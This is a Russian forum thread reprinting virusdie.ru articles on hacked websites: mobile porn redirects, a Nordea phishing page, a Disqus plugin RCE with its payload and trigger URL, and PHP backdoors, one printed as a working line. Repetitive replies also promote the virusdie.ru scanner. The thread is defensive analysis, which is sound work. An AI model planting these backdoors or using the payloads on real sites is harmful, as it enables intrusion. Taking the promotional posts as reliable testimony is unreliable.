andreyvebuiskii

Это перепечатка статьи с сайта: http://virusdie.ru/blog/2014/07/16/badoinkpornappmalware/ Вредоносный мобильный редирект на BaDoink Porn App Несколько недель назад мы писали о большом количестве обнаруженных сайтов, скомпромитированных в следствие перенаправления пользователей на порно-контент. Это была очень не обычная и хитрая инъекция с редиректом, происходящим всего лишь один раз в день для одного IP и только при условии, что пользователь зашел на ресурс с мобильного устройства под управлением iOS или Android. Этот тип инъекции называется Условным Редиректом, поскольку для его срабатывания действия пользователя должны удовлетворять сразу нескольким условиям. Это вредоносный мобильный редирект не всегда обнаруживается, а его авторы старательно скрывают его от владельцев и администраторов веб-сайтов. Вредоносный код отслеживает входящих в админ-панель пользователей и никогда их никуда не перенаправляет. Ну и наконец, если пользователь был однажды перенаправлен, вредоносная программа больше не будет его перенаправлять. В таком случае, если вы посетите такой сайт — вы будете отредирекчены, но с вашей точки зрения, возможно, это покажется вам случайность. Вы попробуете посетить сайт еще раз и ни какого перенаправления не произойдет. Вы не будете сообщать об этом владельцу или администратору сайта, что позволит вредоносной программе спокойно жить дальше. Как вы можете предположит, такой тип вредоносного ПО тяжело обнаружить. Многие веб-мастера не замечают или пропускают, сославшись на свою опечатку, прециденты редиректа на своих сайтах. По этой то причине многие ресурсы за последний месяц были скомпромитированы, попав в соответствующие блэк-листы, за перенаправление пользователей на «instabang.com» или Badoink Porn App. Если вы замечали на своем ресурсе, хотя бы однократно, редирект на подобное направление — ваш сайт, должно быть, взломан. Технический анализ вредоносного мобильного редиректораВ новой версии этот вирус изменился. Он использует JavaScript для перенаправления пользователей на второстепенные лэндинг-страницы. Вот этот код: Как вы можете видеть, используется top.location.replace для перенаправления человека на другой скомпромитированный домен (в этом примере на «1strateannuities.com»), где затем происходит перенаправление на http://ads.mobiteasy.com/mr/?id=SRV0102. Здесь уже решается куда будет перенаправлен пользователь, на приложение «BaDoink porn app» или на «instabang». За последние несколько дней были выявлены следующие сайты, участвующие в перенаправлении: http://www.1strateannuities.com/199c99c6d718c7b222eaa1a5fabd2467.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102″); http://www.1strateannuities.com/199c99c6d718c7b222eaa1a5fabd2467.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://www.2013foundations.com/22ab9c9bdeae7b074719eca789ea3397.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://medicalhospitalitygroup.com/28d8e465d7d573b25255f5d56750faef.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://www.10dayssold.com/3615ccfb9d6365cf44b9b34a941ccaf4.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://www.10k-cash.com/3f7c4df28646c8fd08285cfbd8ba3cee.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://sifamuk.com/f3d61b9cc0e63a87dccf63754bdd2dd6.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://www.10dayweightlosschallenge.com/276f2bb01190a423ec7b9ca7d8e9fad0.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://robbiehoucek.com/83b028352b34c11fb2cddff566c9fd8a.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://urbanincubation.com/d275d964cd71fc4c8f0963450b6958a0.php?s=http://ads.mobiteasy.com/mr/? id=SRV0102http://testx2.vladogeorgiev.com/7a9ca9045edbb37f0eaa13cd3f6071d0.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://knoxvillewaterfirerestoration.com/3cef451625a50c08bff223372895dd33.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://sorianoproperties.com/22ffc02b577e6d1fa21813e208417d14.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://riverstonefitness.com/ca785b5cbf87edf65e02423cb2d36e67.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://sportsbettorz.com/4c9269300f2a7ed6c8e7a1db7f7cae09.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://roofingservicesct.com/489219955adc40fc371fc60d230cc583.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://pinkyoda.com/f8c07d6deddf8d43360860efa140da44.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 http://quemooono.com/8c6d28f83c82058736543b0cb6905045.php?s=http://ads.mobiteasy.com/mr/?id=SRV0102 О том, как удалить данный рекдирект вручную мы уже писали ранее статье: https://opencartforum.com/topic/35322-%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D0%BD%D1%8B%D0%B9-%D0%BC%D0%BE%D0%B1%D0%B8%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9-%D1%80%D0%B5%D0%B4%D0%B8%D1%80%D0%B5%D0%BA%D1%82-%D0%BD%D0%B0-%D1%81%D0%B0%D0%B9%D1%82%D0%B5/

Это перепечатка статьи "Вам кажется , что ваш сайт взломан? Значит, так и есть." с сайта: http://virusdie.ru/blog/2014/06/19/ismywebsitehacked/ Основная проблема с фишингом и причина, по которой так много людей подвергаются риску, заключается в том, что вредоносный фишинговый код трудно обнаружить. Почти во всех случаях он не выглядит подозрительным, он не обфусцирован, не зашифрован. Он выглядит так же, как и обычный код. Ну, почти. Зачастую, владельцы веб-сайтов не будет знать о том, что их сайт взломали и производят фишинг-атаки с его использованием, пока посетители сайта не информируют их. Найти фишинг-страницы зачастую также сложно, как отыскать иголку в стоге сена. Вот почему дальнейшая история столь поучительна. Проблема Недавно, одному из наших клиентов потребовалась помощь нашей экспертной группы, поскольку автоматическое сканирование и лечение не справлялось с задачей. Тогда то, один из наших экспертов обнаружил интересную фишинговую страницу. Где была инъекция? В последнее время хакеры предпочитают прятать вредоносный код «оставляя его на виду». Код стараются делать максимально похожим на нормальный так, чтобы при беглом просмотре исходника взгляд специалиста не цеплялся бы за что-то подозрительное, за что-то, чего в этом месте быть не должно. Для скрытия фишинговых страниц не используются вредоносные скрипты или iframe. В этом конкретном случае странице не содержит ни подозрительных функций, ни обращений к русским доменам. Она просто содержит инпуты для ввода текста, такие же, как на миллионах обычных страниц любых сайтов. Для того же, чтобы найти что-то конкретное вам придется научиться думать как хакер. На что обычно нацелено фишинговое мошенничество? Вот здесь-то как раз важно знать на что нацелен фишинг в обычных случаях. В большинстве случаев злоумышленники хотят получить банковские данные, данные кредитных карт и пароли. Что же мы сделали? Мы просто решили поискать по контенту файлов, что же мы найдем по вхождению строки "bank" и вот что мы обнаружили: Видите? title_netbank.jpg выглядит подозрительно. Но это всего лишь одна ссылка в index.htm на файл с картинкой .jpg, которая и приведет нас на фишинговые страницы. На этом мы не остановились и вот что нашли в файле .htaccess в этом каталоге: Видно, что это список IP адресов, с которых доступен просмотр фишинговых страниц. В этом случае, только пользователи с Датскими IP адресами будут перенаправлены на фишинговые страницы. Злоумышленники таким образом концентрируются на краже данных пользователей только необходимой им группы, именно на тех, кто с большей вероятностью воспользуется фишинговой страницей. Другие же пользователи для злоумышленников не интересны и нет ни какой необходимости пытаться взять их данные. Вот так выглядела фишинговая страница. Пользователи перенаправлялись на страницу, похожую на стандартные страницы Nordea Bank AB (Nordea Bank — это крупная европейская финансовая группа). Вы едва ли слышали про Nordea, но пользователи из Северной Европы хорошо ее знают. Вот почему именно их IP адреса были в .htaccess. Так к чему мы все это Этот конкретный случай, естественно, не был сколько-нибудь экстравагантным и изощренным. Код не обфусцирован. Мы достаточно просто нашли его и удалили. Все, что мы хотели здесь сказать, это то, что если вам кажется, что ваш сайт заражен, то скорее всего так и есть. Эта статья взята с сайта virusdie.ru

Это перепечатка статьи "Уязвимость в плагине Disqus для WordPress" с сайта: http://virusdie.ru/blog/2014/06/23/disquswpbackdoor/ Мы недавно обнаружили уязвимости в плагине Disqus Comment System plugin для WordPress. Эта уязвимость, в специфических условиях, может позволить злоумышленнику удаленно выполнить код (RCE — Remote Code Execution). Другими словами, злоумышленник может делать все что хочет с такими уязвимыми сайтами. Хотя сам плагин потенциально очень опасен, но эта опасность проявляется только лишь на серверах с WordPress с версией PHP 5.1.6 и ниже. Это также означает, что только пользователи WordPress 3.1.4 (и более ранних версий) подвержены атаке, поскольку WordPress более поздних версий не поддерживает версии PHP, «обнажающие» уязвимость. Зная, что целевая аудитория подобной уязвимости крайне мала, мы решили сделать свое открытие общедоступным и у Disqus вышел новый патч, закрывающий уязвимость (patched version 2.76). Мы по прежнему рекомендуем каждому пользователю Disqus прежнему произвести обновление как можно скорее. Disqus RCE уязвимостьDisqus RCE уязвимость Все началось с анализа одного JSON-парсера, в котором мы нашли следующий любопытный код: По некоторым причинам, распаршиваемый контент возвращается из eval(), которая затем подставляется в вызываемую функцию. Как вы знаете, функция eval() в PHP выполняет любой код, переданный в нее. Итак, мы имеем потенциальный RCE код в виде строки, возвращаемой eval() в двойных кавычках, что означает, что мы можем использовать синтаксис PHP для разбора сложных переменных, заставляя скрипт выполнить любые функции, которые захотим, например: {${phpinfo()}}. Направление атаки Все что нам было нужно — это найти место для хранения вредоносного кода, чтобы затем он сработал по триггеру через уязвимость с вызовом eval(). Чтобы это сделать нам необходимо проверять обрабатываются ли данные пользователя через функцию getNextToken(). Нашей первой догадкой было предположение, что оставляемые комментарии, отправляемые через Disqus, идут на их серверы, соответственно, можно было предположить обратное: получение комментариев для определенного поста с их же сервера. Мы оказались правы. Недолгий поиск привел нас к некоторой функциональности, позволяющей синхронизовать комменты. Эта функциональность могла быть активирована гостевым любым пользователем, причем, он мог добавить некоторые параметры прямо к URL, например: http://somesite.com/?cf_action=sync_comments&post_id=TARGET_POST_ID Все, что нам оставалось — это проверить все, что мы нашли на практике. Теперь мы знали, что обнаружили работающую уязвимость и все, что нужно было для ее активации: Запостить вредоносный код в коммент Получить ID поста Вызвать синхронизацию комментариев добавлением параметров (которые мы привели ранее) к URL Все готово! Выглядит просто, не так ли? Так вот, если вы используете устаревшую версию WordPress/PHP, вам следует обновиться на Disqus. Всем другим пользователям мы также рекомендуем обновлять движки в момент их выхода. Это статья с сайта virusdie.ru

А вы посмотрите сервисом virusdie.ru - может остался бэкдор какой. Не просто же так у вас строка в .htaccess дописалась.

Поищите сервисом http://virusdie.ru - он и удалить вам вирусы и их причины автоматически сможет. Я уже писал обзор о нем тут.

На этой неделе обнаружилось большое количество случаев скрытого внедрения вредоносных редиректоров в код сайтов, перенаправляющих посетителей на порно-ресурсы. Все выявленные инъекции кода были сделаны единообразно и ориентированы только на пользователей мобильный устройств. Все внедренные редиректоры работали по условию, что делало их практически не детектируемыми владельцами сайтов и веб-мастерами. Сейчас мы объясним, что происходило. Условные перенаправления на порно-сайты, нацеленные на мобильные устройства Звучит сложно, но это не так. Если посетитель приходит а Айфона, Айпада, Андройдного или другого аналогичного мобильного устройства, страница перенаправляет его на случайный порнографический сайт. Если же человек пытается зайти на сайт снова, ничего не происходит, и сайт загружается как обычно. Что это дает? Слово Условный Вредоносная программа, внедренная в веб-сайт является интеллектуальной. Она хранит IP адреса всех посетителей, которых перенаправляет на сайты с порно. Если вы видите перенаправление один раз, то вполне вероятно, что вы не увидите его снова в течение многих часов. Это делает вредоносную программу тяжело обнаруживаемой и заставляет людей думать, что это случайная ошибка, или, возможно, они опечатались в URL. Только мобильные устройства Эта инъекция предназначается только для владельцев мобильных устройств: Айфонов, Айпадов, Виндоус- или Андройдофонов и планшетов. Редиректор перенаправляет на порно только если вы работаете через мобильные браузеры. Для всех остальных сайт выглядит чистым и безопасным. В браузере инъекция отображается следующим образом: Со случайными доменами (intelligenthometheater.com, gridironservices.com, и т.д.). Само по себе это выглядит вполне нормальным, однако, тут вы обнаруживаете Javascript код: Теперь POST будет перенаправлять посетителей. На первый взгляд оба эти выражения выглядят вполне нормальными и будут игнорироваться большинством антивирусов. Как упоминалось ранее, вся суть вредоносного вмешательства проявляется только на мобильных устройствах. Но в чем смысл, спросите вы? Естественно, как часто бывает, все дело в деньгах. Такое перенаправление - это лишь первый шаг в цепочке. Главная задача злоумышленников - подтолкнуть человека, чтобы он совершил переход по какой-либо партнерской или рекламной ссылке (например, вида: httx://ads.mobiteasy.com/ или httx://www.instabang.com/tour/zinstabang) на таком сайте, что приносит злоумышленнику достаточно высокую материальную выгоду. Как убрать порно-редирект Обнаружить такой редирект при проверке сайта не просто. Если вы запустили поверхностное (по файлам и признакам, доступным без установки синхронизационного файла на ваш сайт) сканирование и первый раз обнаружили вредоносный код или предупреждение, то при повторном сканировании вы можете уже не обнаружить угрозу, поскольку IP будет сохранен вредоносом и тот не проявит себя еще какое-то время. Наша команда поможет вам справиться с этой проблемой, вам необходимо просто обратиться в нашу техподдержку. Для того, чтобы вручную справиться с этой проблемой вы можете проверить следующие места на своем сайте: /index.php /WP-config.php (при использовании WordPress) /configuration.php (при использовании Joomla) /wp-content/themes/yourtheme/functions.php (при использовании WordPress) Таковы четыре места, в которых нами было замечено добавление вредоносного кода. Обратите внимание, что вредоносные вставки закодированы и вам придется внимательно искать фрагменты, кажущиеся подозрительными в этих файлах. Помните, что такая инфекция — лишь верхушка айсберга. Если ваш сайт заражен, то вы должны понимать, что защита ресурса взломана и на него , вполне вероятно, добавлены скрытые элементы управления, позволяющие легко получить доступ к вашим файлам и управлению сервером. Не забывайте обращать внимание на бэкдоры. Подготовлено по материалам http://virusdie.ru/blog

Проскань этим virusdie.ru

Может это поможет? Вирусдай (писал обзор тут).

Вполне возможно, что не вирус. Сейчас все кому не лень шифруют свои произведения. Посмотри вот этим что внутри на самом деле:http://www.base64decode.org/. У меня тоже с вирусдаем была такая трабла. Я так понял, что он иногда реагирует немного с "перестраховкой", но файлы в которых он не уверен помечает как Подозрительные. Я находил у себя помимо всего прочего некую сигнатуру hack.signatures (по версии вирусдая), но при просмотре вредоносного кода он мне ничего не "подсветил". Написал в саппорт - ответили, что ложное срабатывание (ну, перестраховка вообщем) :). Зато спокойно теперь на душе.

Небольшой пост об интересном бэкдоре, который мы нашли в плагине для Joomla. Этот бэкдор был так умело сделан, что сначала мы даже не понял, был ли это бэкдор или нет, хотя и знали, что здесь что-то не так. Вот как выглядел код плагина: На первый взгляд ничего подозрительного не видно. Ничего не зашифровано, ничего не обфусцировано, нет ни каких странных комментариев. Просто нормальный код плагина для Джумлы. Если посмотреть более внимательно, то вы увидите, что конструктор класса не является тем, чем кажется на первый взгляд. Первое, что можно заметить — это то, что die(); стоит в конце кода. Эта функция завершает выполнение текущего скрипта. Однако, это плагин для Joomla, что означает, что die(); убьет все процессы в Joomla. Как вы понимаете это не очень хорошо для плагина, особенно на стадии инициализации. Теперь вы можете заметить это: /123/e. Напоминает регулярное выражение с evalфлагом, которое мы постоянно видим в различных бэкдорах с "preg_replace". Видно, что если заменить $option на preg_replace, то получается типичный бэкдор с "preg_replace": preg_replace(«/123/e», $auth, 123); Поскольку 123 всегда равно 123, то код всегда будет принимать значение переменной $auth. Для того, чтобы наша гипотеза была верна, $option должно быть равно "preg_replace", а $auth должна содержать PHP код. Давайте посмотрим, возможно ли это. Видно, что обе переменные заполняются из Cookie, так что да — это вполне возможно. Как работает бэкдор. Описанный код предполагает, что бэкдор работает следующим образом: После того, как плагин был установлен на Joomla, он запускается каждый раз при загрузке любой страницы и конструктор класса в плагине всегда запускается на выполнение. P3 – этот триггер вызывает выполнение бэкдора. Без него Джумла работает как обычно. P2 — этот кук должен быть "preg_replace", P3 — здесь передается произвольный PHP код. Не все плагины вредоносны. В отличие от WordPress плагинов, о которых мы недавно писали, где вредоносный код был подсажен «пиратами»(которые пересобрали коммерческий плагин уже со своим бэкдором) этот случай не выглядит так, будто владелец сайта скачал на каком-то подозрительном ресурсе этот плагин для Joomla. Плагин InstantSuggestявляется бесплатным и едва ли широко известен (менее 400 загрузок ). Его реальный код не содержит функцию _counstruct(). Более вероятный сценарий заключается в следующем. Бэкдор был добавлен хакерами после взлома сайта, чтобы сохранить доступ к нему, даже если исходный дыра в безопасности была бы закрыта. Более того, похоже, что хакеры не встраивали бэкдор в уже существующий плагин, а просто установили свой плагин с бэкдором. Это проще, чем изменять существующие файлы, что может нарушить работу сайта и раскрыть попытку взлома. Кроме того, такой способ требует более сложного инжектора. В качестве доказательства этой гипотезы мы искали в Интернете бэкдор коды и всегда обнаруживали его внутри кода instantsuggest. Кстати, этот код также используется вне контекста Joomla с Joomla API запросами, подменяемыми простым вызовом @$_COOKIE. Даже в этих тех случаях он по-прежнему окружен кодомinstantsuggest. Похоже, злоумышленники считают, что это делает код менее подозрительным :) Оригинальный текст статьи здесь.

Это перепечатка статьи "В PHP Callback функциях скрывается бэкдор". Мы часто сталкиваемся с новыми изощренными способами, применяемыми авторами вредоносного ПО для запуска заразы на серверах. Некоторые из них очень интересны, другие — забавны. Есть и такие, которые своей необычностью просто ставят нас в тупик. Этот пост именно о последних. Каждый, кто пишет код на PHP знает для чего предназначена функция eval(). Можно сказать, что она исполняет код, содержащийся в строке. Однако, есть много других путей для исполнения кода, которые не всегда столь очевидны. Самый популярный — использование функции preg_replace(). В соответствии со своим описанием, функция preg_replace производит поиск в строке subject совпадений с шаблоном pattern и заменяет их на replacement. К сожалению, при использовании «\e» модификатора, эта функция также исполняет код. Конечно, есть еще много способов выполнить код без использования eval(), например, create_function() или assert(). Все эти нестандартные методы исполнения кода делают процесс выявления угроз достаточно сложной процедурой. Все вышеописанные вещи авторы вредоносного ПО частенько начали использовать для своих Бэкдоров. Бэкдоры Все началось со следующей строки кода, найденной в начале нормального PHP файла: @array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); Это заставило меня поразмышлять некоторое время, прежде чем я понял как это может работать. В конце концов я понял, что проблема в Callback функции. Уже видите почему? Автор зловреда сделал колбек-функцию переменной «login», которая им же и контролируется. Вот так он мог задать Логин выполняемой функцией, что позволяло ему выполнять команды на сервере. Злоумышленник мог выполнить любую команду, которую он хочет, на этом сервере за счет одной строчки кода. Что самое страшное, такая вещь не обнаруживалась ни одной антивирусной системой или другим софтом, которое мы используем. Так в чем же основная опасность? Большинство инструментов безопасности и всяческих статей, рекомендую вебмастерам обращать внимание на функции, которые часто используются в злонамеренных целях, такие как: eval, preg_replace, base64_decode и другие. Теперь вы знаете, что хакеры начинают активно использовать и самые безобидные функции в своих плохих для вас целях. Запомните, что злоумышленники не ограничиваются одной функцией array_diff_ukey(), они могут использовать любую функцию, предполагающую коллбек. Оригинальный текст позаимствован отсюда: http://virusdie.ru/blog/2014/04/28/phpcallbackbackdoor/

Попробуйте Вирусдаем (virusdie.ru)

Я причину заражения своего сайта этим вот сервисом нашел: virusdie.ru. Этим же сервисом ее и замочил. Сижу. Курю... :), а был Шелл. Писал об этом уже в другом топике сегодня (тут).

Я уже вот писал, но в другом топике по этой теме (тут). В кратце, тоже не мог найти через какую дыру лезут, думал в компонентах кривых. Все переставил, что мог - не помогло. Потом "dym" посоветовал антивирус virusdie.ru - нашел ШЕЛЛ! (какой-то Shell.WSO у них там обозначается). Этим же сервисом его автоматом и убил (вроде в трех файлах был. Сам бы фиг нашел - у меня больше 4 гигов сайт, файлов подно. Сайт минут 10-20 сканился. Не помню точно.). Вот такие дела.

Я вот тоже столкнулся с похожей проблемкой. Заимел тут себе три новых сайта на поддержку, чего, думаю, чем больше тем лучше. Через месяц или около того два из них были забанены Яндексом. Смотрю - пишет, что Софос нашел вредоносное ПО. На одном мобильный редирект, на другом,- iframe. Сначала попытался разобраться с редиректором. Вроде все шло хорошо, я нашел в .htaccess несколько (ну, более сотни) не мною писаных (ну и, естественно, не клиентом) строк с условиями редиректов под кучу разных мобильных устройств. Благополучно вырезал строчки, засейвил файл, протестил напрямую с мобильного устройства - редирект пропал. Затестил через реферера (представился Яндексом, потом Гуглом),- тоже тишина. Вот, думаю, и отлично. Начал ковыряться со вторым сайтом. Нашел айфреймы только по использованию некоторых JS-ных функций (unescape). Фрейм был, естественно, обфусцирован. Написал быстренько сигнатурку, выпилил все такие фреймы - вроде сайт не упал. Написал в Яндекс.Вебмастер, чтобы проверили на редирект и айфрейм и убрали сайты из черного списка, но как же я был самонадеен. Пока Яндексовцы проверяли мои сайты, они (сайты), будь они не ладны, снова подцепили какую-то дрянь, но уже другую. Яндексовцы так мне и написали, что мол, редиректов и фреймов нет, но есть то-то и се-то. Стало понятно, что на моих ресурсах есть какая-то дыра. Искал искал - найти не смог. Начал копать нет в поисках какой-то софтины или антивируса для сайтов, который бы мог мне чем-нибудь помочь. Фиг найдешь, скажу я вам, что-то рабочее. Кучу всяких ресурсов пересмотрел: то сканится только поверхностно, то по одному файлику нужно закидывать, то вообще есть один софт (скачиваешь его себе, заливаешь на сервак, запускаешь через консколь и, короче,... не работает нифига) нерабочий, то только защититься предлагают (а я-то уже подцепил заразу). Максимум, что из традиционного и внятного нашел - были предложения от всяких студий и фрилансеров с заголовками вроде: "Вылечим сайт за 2000 рублей" или "Гарантия...". Вообщем, фиг знает. Что-то я как-то не особый ходок по "ручным" сервисам. Потом залез на Яндексовский форум безопасного поиска safesearch.ya.ru и наткнулся там на сайт virusdie.ru. Зашел, смотрю, что-то по стилистике на Яндекс похожее. Зарегался, добавил в список свой сайт, скачал файл синхронизации, закинул его в корень своего сайта и офигел. Я смог просканить весь свой сайт одно кнопкой. Все файлы, включая .PHP-шные! Сканился, конечно, минут 10, вроде, но просканил 4 гига данных, нашел что-то около 50 угроз в 70 файлах. Смотрю (а сканил как раз сайт, на котором раньше был iframe), Вирусдай нашел мне несколько файлов, помеченных как зараженные, которые содержат какой-то "Shell.WSO". Нажал лечить - все вылечилось, некоторые файлы удалились, из некоторых вырезались куски кода (вроде как раз вредного. Я смотрел, т.к. на этом ресурсе можно еще и контент зараженных файлов смотреть с выделенным фрагментов вредоносного кода, вроде точно убилось то, что надо). Проверил сам сайт потом - вроде работает. Админка тоже работает. Ну, думаю, давай попробую еще раз дернуть Яндексовцев. Пусть протестят. Протестили - все, говорят, отлично. Восстановился в выдаче. Со вторым сайтом также поступил. Тоже сработало - тоже в выдачу вернулся. Теперь вот уже вторую неделю от этого Вирусдая получаю отчеты каждый день. Находит постоянно какой-то подозрительный файл, который автоматом они не убивают, сомневаются, похоже. Вообщем, рекомендую Вирусдай и спасибо "dym" за наводочку!